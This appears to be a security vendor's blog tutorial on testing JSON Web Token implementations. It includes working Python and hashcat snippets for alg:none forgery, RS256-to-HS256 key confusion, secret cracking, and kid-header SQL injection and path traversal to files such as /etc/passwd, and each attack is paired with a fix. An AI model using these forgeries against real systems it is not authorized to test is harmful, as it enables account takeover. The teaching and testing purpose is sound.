JWT Security Testing: Finding Common Authentication Vulnerabilities

JSON Web Tokens are everywhere. They power authentication in REST APIs, single-page applications, microservices, and mobile backends. They're also consistently misimplemented in ways that range from embarrassing to catastrophic — and unlike session cookies, the attack surface is visible to anyone who can intercept a request.

This guide covers the JWT vulnerabilities that actually show up in real applications, how to test for each one, what the exploits look like at the wire level, and where automated scanning helps versus where you need manual analysis.

JWT Structure: A Quick Baseline

A JWT is three base64url-encoded segments separated by dots: header.payload.signature. The header specifies the signing algorithm. The payload contains claims — structured assertions about the user or session. The signature is computed over the header and payload using a secret or private key.

# Decoded header
{
  "alg": "HS256",
  "typ": "JWT"
}

# Decoded payload
{
  "sub": "1234567890",
  "email": "user@example.com",
  "role": "user",
  "iat": 1718755200,
  "exp": 1718758800
}

# Wire format (abbreviated)
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwiZW1haWwiOiJ1c2VyQGV4YW1wbGUuY29tIiwicm9sZSI6InVzZXIiLCJpYXQiOjE3MTg3NTUyMDAsImV4cCI6MTcxODc1ODgwMH0.<signature>

The critical design property: the server trusts whatever is in the payload only if the signature is valid. Every JWT vulnerability is, at root, a way to get the server to accept a token with a manipulated payload without a valid signature — or with a signature the attacker can forge themselves.

Attack 1: The alg:none Attack

Severity: Critical The server accepts tokens with no signature at all, trusting attacker-controlled claims.

The JWT spec includes "alg": "none" as a valid algorithm meaning "unsigned." Early JWT libraries honoured this unconditionally — if the token said it wasn't signed, they skipped signature verification. Some libraries still have this behavior, or it can be re-enabled through misconfiguration.

Testing it is straightforward: take a valid token, decode all three segments, modify the payload to escalate privileges, re-encode with "alg": "none" in the header, and drop the signature entirely (keep the trailing dot).

# Step 1: Modify the header
import base64, json

header = {"alg": "none", "typ": "JWT"}
payload = {
    "sub": "1234567890",
    "email": "user@example.com",
    "role": "admin",          # escalated
    "iat": 1718755200,
    "exp": 9999999999         # far future
}

def b64url_encode(data):
    return base64.urlsafe_b64encode(
        json.dumps(data, separators=(',', ':')).encode()
    ).rstrip(b'=').decode()

crafted = b64url_encode(header) + '.' + b64url_encode(payload) + '.'
# Note: empty signature — just the trailing dot

Send this token in the Authorization: Bearer header. If the application returns a 200 with admin-level data, the vulnerability is confirmed. Some libraries accept variants like "alg": "None", "alg": "NONE", or "alg": "nOnE" — test all four case permutations.

Fix: Explicitly specify the allowed algorithm(s) when initializing your JWT library. Never pass algorithms=None or leave the algorithm parameter unset. In Python's PyJWT: jwt.decode(token, secret, algorithms=["HS256"]).

Attack 2: Algorithm Confusion (RS256 → HS256)

Severity: Critical The server signs with RSA private key but can be tricked into verifying an HMAC signature computed with its own public key.

This is one of the more subtle JWT attacks. RS256 uses asymmetric cryptography: the server signs with a private key and verifies with the corresponding public key. The public key is often embedded in a JWKS endpoint (/.well-known/jwks.json) or returned by the application's OpenID Connect discovery document.

The attack: change the token's algorithm from RS256 to HS256, then sign the modified token using the server's public key as the HMAC secret. A vulnerable server will verify an HS256 token by calling HMAC-SHA256(data, key) — but what does it use as the key? If the library falls back to whatever verification key is configured, and that key is the RS256 public key, the attacker (who has the public key) can forge valid tokens.

import jwt, requests

# Step 1: Fetch the server's public key
jwks = requests.get('https://target.example.com/.well-known/jwks.json').json()
public_key = extract_rsa_public_key(jwks['keys'][0])  # PEM format

# Step 2: Craft the payload with elevated privileges
payload = {
    "sub": "attacker-user-id",
    "role": "admin",
    "iat": 1718755200,
    "exp": 9999999999
}

# Step 3: Sign with HS256 using the RSA public key as the HMAC secret
crafted_token = jwt.encode(
    payload,
    public_key,            # public key used as HMAC secret
    algorithm="HS256"
)

# Step 4: Send and observe
resp = requests.get(
    'https://target.example.com/api/admin/users',
    headers={"Authorization": f"Bearer {crafted_token}"}
)

Fix: Explicitly whitelist the expected algorithm. Never allow the incoming token to dictate which algorithm the library uses for verification. Most modern libraries have a strict mode — use it.

Attack 3: Weak Secret Brute Force

Severity: High HMAC-signed tokens can be offline-cracked if the secret is short or guessable.

HS256/HS384/HS512 tokens are signed with a symmetric secret. If that secret is weak — a dictionary word, a short random string, a framework default like secret, changeme, or your-256-bit-secret — an attacker can crack it offline from a single captured token. No server interaction required after the initial token capture.

hashcat has native JWT support (mode 16500) and can test millions of candidates per second on a GPU:

# Using hashcat against a captured HS256 token
hashcat -a 0 -m 16500 \
    eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c \
    /usr/share/wordlists/rockyou.txt

# Also check framework defaults and common JWT secrets
hashcat -a 0 -m 16500 <token> /usr/share/seclists/Passwords/Default-Credentials/default-passwords.txt

jwt-cracker and c-jwt-cracker offer brute-force over a character space. For a secret shorter than 8 characters using lowercase ASCII, modern hardware can exhaust the space in minutes.

Once the secret is known, the attacker can forge arbitrary tokens for any user or role in the system — including users that don't yet exist.

Fix: Use a cryptographically random secret of at least 256 bits (32 bytes). For anything beyond internal service-to-service auth, prefer RS256 or ES256 so compromise of the verification key doesn't enable token forgery.

Attack 4: kid Header Injection

Severity: Critical The key ID header is used unsanitized in a database query or filesystem path to look up the signing key.

The JWT kid (key ID) header parameter lets a token specify which key the server should use to verify it — useful when rotating keys or running multiple services. The vulnerability arises when the server uses the kid value directly in a SQL query, filesystem path lookup, or Redis key without sanitization.

SQL injection via kid:

# Server-side pseudocode (vulnerable)
key = db.query(f"SELECT secret FROM jwt_keys WHERE id = '{kid}'")
jwt.verify(token, key)

# Attacker-controlled header
{
  "alg": "HS256",
  "kid": "' UNION SELECT 'attacker-controlled-secret' -- "
}

# The query becomes:
# SELECT secret FROM jwt_keys WHERE id = '' UNION SELECT 'attacker-controlled-secret' --
# Returns: 'attacker-controlled-secret'

# Attacker then signs with that same string and gets a valid token

Directory traversal via kid:

# Vulnerable server reads key from filesystem
key = open(f"/app/keys/{kid}.pem").read()

# Attacker sets kid to a file with known contents
{
  "alg": "HS256",
  "kid": "../../dev/null"
}

# Server reads /dev/null → empty string → HMAC with empty key
# Attacker signs token with empty string as HMAC secret

The /dev/null trick produces an empty key, which the attacker knows. They can then sign a token using an empty string as the HS256 secret and the server will accept it.

Fix: Validate kid against a strict allowlist. Never interpolate it directly into queries or paths. Use parameterized queries and restrict kid to alphanumeric characters and hyphens.

Attack 5: JWT Claim Manipulation

Severity: High (context-dependent) The application trusts claims without proper authorization checks on the server side.

Even when signature verification is implemented correctly, applications sometimes embed authorization data directly in JWT claims and trust them without server-side validation. Common patterns to test:

Claim manipulation is only exploitable when another vulnerability (alg:none, algorithm confusion, known secret) allows forging the signature. But it's worth mapping out all the claims present in tokens early in testing — they tell you exactly what authorization model the application relies on.

# Decode any JWT without verification to inspect claims
import jwt

token = "eyJhbGci..."
claims = jwt.decode(token, options={"verify_signature": False})
print(claims)
# {'sub': '42', 'role': 'user', 'tenant_id': 'acme-corp', 'exp': 1718758800}

Attack 6: Expiry Bypass

Severity: Medium to High Expired tokens are accepted, or the expiry claim is not validated at all.

JWT libraries require explicit opt-in to expiry validation in some frameworks. If a developer calls jwt.decode(token, secret, options={"verify_exp": False}) — perhaps during debugging — and that setting reaches production, tokens never expire.

Testing is straightforward: capture a token, wait for it to expire (or manually set the exp claim to a past timestamp), and replay it. If the server accepts it, expiry validation is broken.

# Craft a token with exp in the past
import time
payload = {
    "sub": "user-42",
    "role": "user",
    "iat": int(time.time()) - 7200,
    "exp": int(time.time()) - 3600   # expired 1 hour ago
}
expired_token = jwt.encode(payload, known_secret, algorithm="HS256")

Also test for missing nbf (not before) validation. A token issued for a future time should be rejected until that time arrives — applications that ignore nbf may accept pre-issued tokens used in replay attacks.

Additionally, test whether your application has a token revocation mechanism. Even perfectly implemented JWT validation cannot revoke individual tokens before their expiry — a stolen token with a 24-hour TTL remains valid for 24 hours regardless of logout. If your threat model requires immediate revocation, you need a server-side revocation list.

Fix: Always validate exp and nbf. Use short token lifetimes (15–60 minutes). Implement refresh token rotation. Maintain a revocation list for high-security contexts.

JWT Vulnerabilities: What Automated Scanning Finds (and Doesn't)

This is where it's worth being precise. Automated scanning can reliably find several of these vulnerabilities:

Vulnerability Automated Detection Notes
alg:none acceptance Yes Deterministic test — forge token, observe response
Algorithm confusion (RS256→HS256) Partial Requires fetching public key and attempting the attack
Weak secret Partial Offline crack attempt against common wordlists
kid SQL injection Yes Standard SQLi payloads applied to JWT header parameter
kid path traversal Yes Traversal payloads + known-content file targets
Expiry not validated Yes Replay with expired token, check response code
Claim-based privilege escalation Partial Requires successful token forgery first; business-logic context limits automation
Missing revocation No Architecture-level design decision — requires manual review

The attacks that automated tooling handles well are the ones with deterministic outcomes: send a crafted token, check the HTTP response code and body structure. The attacks that require judgment — whether a particular claim's value represents a meaningful privilege boundary, whether the application's revocation design is adequate for the threat model — need a human.

Where Ironimo fits: automated JWT testing handles the deterministic checks at scale, on a schedule, against every endpoint that accepts tokens. It surfaces the critical misconfigurations reliably and quickly. What it hands off to you is the architectural review: is the token lifetime appropriate? Is revocation implemented where the threat model demands it? Are there business-logic roles in the claims that the scanner didn't know to test?

Practical Testing Checklist

  1. Intercept a valid token and decode all three segments — inspect every claim present.
  2. Test alg:none with all four case variants; drop the signature, keep the trailing dot.
  3. Attempt algorithm confusion if a JWKS or public key endpoint is exposed.
  4. Run the captured token through hashcat with rockyou and a JWT-specific wordlist.
  5. Inject SQLi payloads into the kid header if present (' OR '1'='1, UNION selects).
  6. Inject path traversal into kid (../../dev/null, ../../etc/passwd).
  7. Replay an expired token; also craft one with exp set to a past timestamp.
  8. If any forgery attack succeeds, test role escalation, sub substitution, and tenant claims.
  9. Verify logout actually invalidates the token, not just the client-side session.

Tools to have in your kit: jwt_tool (Python, covers most of the above in one interface), Burp Suite's JWT Editor extension, hashcat mode 16500, and python-jwt for scripting custom payloads.

Ironimo scans for JWT vulnerabilities across your application — algorithm confusion attacks, weak secrets, and improper claim validation — using the same Kali Linux toolset professional pentesters use.

On-demand and scheduled scans. Each finding includes the exact request, the response that confirms it, and a remediation path.

Start free scan
← Back to blog